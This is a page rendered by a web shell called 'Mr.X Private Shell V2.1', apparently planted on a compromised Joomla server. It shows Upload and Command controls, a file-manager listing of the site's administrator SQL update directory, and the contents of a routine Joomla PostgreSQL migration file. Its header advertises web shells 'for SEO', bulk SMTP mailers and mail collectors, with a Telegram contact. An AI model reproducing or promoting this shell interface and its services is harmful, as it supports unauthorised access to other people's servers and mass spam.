__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

[email protected]: ~ $ 
-- From 4.0.0-2019-09-23.sql
ALTER TABLE "#__redirect_links" ALTER COLUMN "created_date" DROP DEFAULT;
ALTER TABLE "#__redirect_links" ALTER COLUMN "modified_date" DROP DEFAULT;

UPDATE "#__redirect_links" SET "created_date" = '1980-01-01 00:00:00' WHERE "created_date" = '1970-01-01 00:00:00';
UPDATE "#__redirect_links" SET "modified_date" = "created_date" WHERE "modified_date" = '1970-01-01 00:00:00';

-- From 4.0.0-2019-09-24.sql
ALTER TABLE "#__action_logs" ALTER COLUMN "log_date" DROP DEFAULT;

-- From 4.0.0-2019-09-25.sql
ALTER TABLE "#__fields" ALTER COLUMN "created_time" DROP DEFAULT;
ALTER TABLE "#__fields" ALTER COLUMN "modified_time" DROP DEFAULT;
ALTER TABLE "#__fields" ALTER COLUMN "checked_out_time" DROP NOT NULL;
ALTER TABLE "#__fields" ALTER COLUMN "checked_out_time" DROP DEFAULT;

ALTER TABLE "#__fields_groups" ALTER COLUMN "created" DROP DEFAULT;
ALTER TABLE "#__fields_groups" ALTER COLUMN "modified" DROP DEFAULT;
ALTER TABLE "#__fields_groups" ALTER COLUMN "checked_out_time" DROP NOT NULL;
ALTER TABLE "#__fields_groups" ALTER COLUMN "checked_out_time" DROP DEFAULT;

UPDATE "#__fields" SET "modified_time" = "created_time", "modified_by" = "created_user_id" WHERE "modified_time" = '1970-01-01 00:00:00';
UPDATE "#__fields" SET "checked_out_time" = NULL WHERE "checked_out_time" = '1970-01-01 00:00:00';

UPDATE "#__fields_groups" SET "modified" = "created", "modified_by" = "created_by" WHERE "modified" = '1970-01-01 00:00:00';
UPDATE "#__fields_groups" SET "checked_out_time" = NULL WHERE "checked_out_time" = '1970-01-01 00:00:00';

-- From 4.0.0-2019-09-26.sql
ALTER TABLE "#__privacy_requests" ALTER COLUMN "requested_at" DROP DEFAULT;

ALTER TABLE "#__privacy_requests" ALTER COLUMN "confirm_token_created_at" DROP NOT NULL;
ALTER TABLE "#__privacy_requests" ALTER COLUMN "confirm_token_created_at" DROP DEFAULT;

ALTER TABLE "#__privacy_consents" ALTER COLUMN "created" DROP DEFAULT;

UPDATE "#__privacy_requests" SET "confirm_token_created_at" = NULL WHERE "confirm_token_created_at" = '1970-01-01 00:00:00';

-- From 4.0.0-2019-09-27.sql
ALTER TABLE "#__tags" ALTER COLUMN "created_time" DROP DEFAULT;

ALTER TABLE "#__tags" ALTER COLUMN "modified_time" DROP DEFAULT;

ALTER TABLE "#__tags" ALTER COLUMN "publish_up" DROP NOT NULL;
ALTER TABLE "#__tags" ALTER COLUMN "publish_up" DROP DEFAULT;

ALTER TABLE "#__tags" ALTER COLUMN "publish_down" DROP NOT NULL;
ALTER TABLE "#__tags" ALTER COLUMN "publish_down" DROP DEFAULT;

ALTER TABLE "#__tags" ALTER COLUMN "checked_out_time" DROP NOT NULL;
ALTER TABLE "#__tags" ALTER COLUMN "checked_out_time" DROP DEFAULT;

UPDATE "#__tags" SET "modified_time" = "created_time", "modified_user_id" = "created_user_id" WHERE "modified_time" = '1970-01-01 00:00:00';

UPDATE "#__tags" SET "publish_up" = NULL WHERE "publish_up" = '1970-01-01 00:00:00';
UPDATE "#__tags" SET "publish_down" = NULL WHERE "publish_down" = '1970-01-01 00:00:00';
UPDATE "#__tags" SET "checked_out_time" = NULL WHERE "checked_out_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_modified_time" = "core_created_time"
 WHERE "core_type_alias" = 'com_tags.tag'
   AND "core_modified_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_publish_up" = NULL
 WHERE "core_type_alias" = 'com_tags.tag'
   AND "core_publish_up" = '1970-01-01 00:00:00';
UPDATE "#__ucm_content" SET "core_publish_down" = NULL
 WHERE "core_type_alias" = 'com_tags.tag'
   AND "core_publish_down" = '1970-01-01 00:00:00';
UPDATE "#__ucm_content" SET "core_checked_out_time" = NULL
 WHERE "core_type_alias" = 'com_tags.tag'
   AND "core_checked_out_time" = '1970-01-01 00:00:00';

-- From 4.0.0-2019-09-28.sql
ALTER TABLE "#__user_notes" ALTER COLUMN "created_time" DROP DEFAULT;

ALTER TABLE "#__user_notes" ALTER COLUMN "modified_time" DROP DEFAULT;

ALTER TABLE "#__user_notes" ALTER COLUMN "review_time" DROP NOT NULL;
ALTER TABLE "#__user_notes" ALTER COLUMN "review_time" DROP DEFAULT;

ALTER TABLE "#__user_notes" ALTER COLUMN "publish_up" DROP NOT NULL;
ALTER TABLE "#__user_notes" ALTER COLUMN "publish_up" DROP DEFAULT;

ALTER TABLE "#__user_notes" ALTER COLUMN "publish_down" DROP NOT NULL;
ALTER TABLE "#__user_notes" ALTER COLUMN "publish_down" DROP DEFAULT;

ALTER TABLE "#__user_notes" ALTER COLUMN "checked_out_time" DROP NOT NULL;
ALTER TABLE "#__user_notes" ALTER COLUMN "checked_out_time" DROP DEFAULT;

UPDATE "#__user_notes" SET "modified_time" = "created_time", "modified_user_id" = "created_user_id" WHERE "modified_time" = '1970-01-01 00:00:00';

UPDATE "#__user_notes" SET "review_time" = NULL WHERE "review_time" = '1970-01-01 00:00:00';
UPDATE "#__user_notes" SET "publish_up" = NULL WHERE "publish_up" = '1970-01-01 00:00:00';
UPDATE "#__user_notes" SET "publish_down" = NULL WHERE "publish_down" = '1970-01-01 00:00:00';
UPDATE "#__user_notes" SET "checked_out_time" = NULL WHERE "checked_out_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_modified_time" = "core_created_time"
 WHERE "core_type_alias" = 'com_users.note'
   AND "core_modified_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_publish_up" = NULL
 WHERE "core_type_alias" = 'com_users.note'
   AND "core_publish_up" = '1970-01-01 00:00:00';
UPDATE "#__ucm_content" SET "core_publish_down" = NULL
 WHERE "core_type_alias" = 'com_users.note'
   AND "core_publish_down" = '1970-01-01 00:00:00';
UPDATE "#__ucm_content" SET "core_checked_out_time" = NULL
 WHERE "core_type_alias" = 'com_users.note'
   AND "core_checked_out_time" = '1970-01-01 00:00:00';

-- From 4.0.0-2019-09-29.sql
ALTER TABLE "#__categories" ALTER COLUMN "created_time" DROP DEFAULT;

ALTER TABLE "#__categories" ALTER COLUMN "modified_time" DROP DEFAULT;

ALTER TABLE "#__categories" ALTER COLUMN "checked_out_time" DROP NOT NULL;
ALTER TABLE "#__categories" ALTER COLUMN "checked_out_time" DROP DEFAULT;

UPDATE "#__categories" SET "created_time" = '1980-01-01 00:00:00' WHERE "created_time" = '1970-01-01 00:00:00';
UPDATE "#__categories" SET "modified_time" = "created_time", "modified_user_id" = "created_user_id" WHERE "modified_time" = '1970-01-01 00:00:00';

UPDATE "#__categories" SET "checked_out_time" = NULL WHERE "checked_out_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_created_time" = '1980-01-01 00:00:00'
 WHERE "core_type_alias" IN ('com_content.category', 'com_contact.category', 'com_newsfeeds.category', 'com_banners.category', 'com_users.category')
   AND "core_created_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_modified_time" = "core_created_time"
 WHERE "core_type_alias" IN ('com_content.category', 'com_contact.category', 'com_newsfeeds.category', 'com_banners.category', 'com_users.category')
   AND "core_modified_time" = '1970-01-01 00:00:00';

UPDATE "#__ucm_content" SET "core_checked_out_time" = NULL
 WHERE "core_type_alias" IN ('com_content.category', 'com_contact.category', 'com_newsfeeds.category', 'com_banners.category', 'com_users.category')
   AND "core_checked_out_time" = '1970-01-01 00:00:00';

-- From 4.0.0-2019-10-06.sql
ALTER TABLE "#__extensions" ALTER COLUMN "checked_out_time" DROP NOT NULL;
ALTER TABLE "#__extensions" ALTER COLUMN "checked_out_time" DROP DEFAULT;

UPDATE "#__extensions" SET "checked_out_time" = NULL WHERE "checked_out_time" = '1970-01-01 00:00:00';

Filemanager

DIR : / var/ www/ sig/ sig2/ administrator/ components/ com_admin/ sql/ updates/ postgresql/
Name Type Size Permission Actions
4.0.0-2018-03-05.sql File 6.7 KB 0664
4.0.0-2018-05-15.sql File 8.54 KB 0664
4.0.0-2018-07-19.sql File 1.92 KB 0664
4.0.0-2018-07-29.sql File 12.82 KB 0664
4.0.0-2018-08-29.sql File 1.34 KB 0664
4.0.0-2019-03-09.sql File 3.26 KB 0664
4.0.0-2019-03-30.sql File 582 B 0664
4.0.0-2019-04-15.sql File 899 B 0664
4.0.0-2019-04-22.sql File 1.92 KB 0664
4.0.0-2019-05-20.sql File 1.74 KB 0664
4.0.0-2019-06-29.sql File 4.18 KB 0664
4.0.0-2019-07-13.sql File 13.75 KB 0664
4.0.0-2019-09-13.sql File 4.05 KB 0664
4.0.0-2019-09-22.sql File 1.94 KB 0664
4.0.0-2019-10-06.sql File 7.29 KB 0664
4.0.0-2019-10-17.sql File 1.06 KB 0664
4.0.0-2020-02-02.sql File 1.78 KB 0664
4.0.0-2020-03-10.sql File 1.46 KB 0664
4.0.0-2020-03-25.sql File 6.08 KB 0664
4.0.0-2020-05-29.sql File 7.5 KB 0664
4.0.0-2020-08-01.sql File 414 B 0664
4.0.0-2020-09-27.sql File 1.54 KB 0664
4.0.0-2020-12-20.sql File 6.15 KB 0664
4.0.0-2021-04-22.sql File 1.35 KB 0664
4.0.0-2021-04-27.sql File 2.04 KB 0664
4.0.0-2021-05-30.sql File 1.59 KB 0664
4.0.0-2021-06-04.sql File 226 B 0664
4.0.0-2021-08-13.sql File 914 B 0664
4.0.0-2021-08-17.sql File 1.17 KB 0664
4.0.3-2021-09-04.sql File 1.88 KB 0664
4.0.3-2021-09-05.sql File 607 B 0664
4.0.6-2021-12-23.sql File 125 B 0664
4.1.0-2021-11-20.sql File 4.68 KB 0664
4.1.0-2021-11-28.sql File 429 B 0664
4.1.0-2021-12-29.sql File 329 B 0664
4.1.0-2022-01-08.sql File 205 B 0664
4.1.0-2022-01-19.sql File 337 B 0664
4.1.0-2022-01-24.sql File 323 B 0664
4.1.1-2022-02-20.sql File 106 B 0664
4.1.3-2022-04-07.sql File 486 B 0664
4.1.3-2022-04-08.sql File 124 B 0664
4.2.0-2022-05-15.sql File 3.06 KB 0664
4.2.0-2022-06-19.sql File 356 B 0664
4.2.0-2022-06-22.sql File 295 B 0664
4.2.0-2022-07-07.sql File 473 B 0664
4.2.1-2022-08-23.sql File 258 B 0664
4.2.3-2022-09-07.sql File 217 B 0664
4.2.7-2022-12-29.sql File 534 B 0664
index.html File 31 B 0664

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager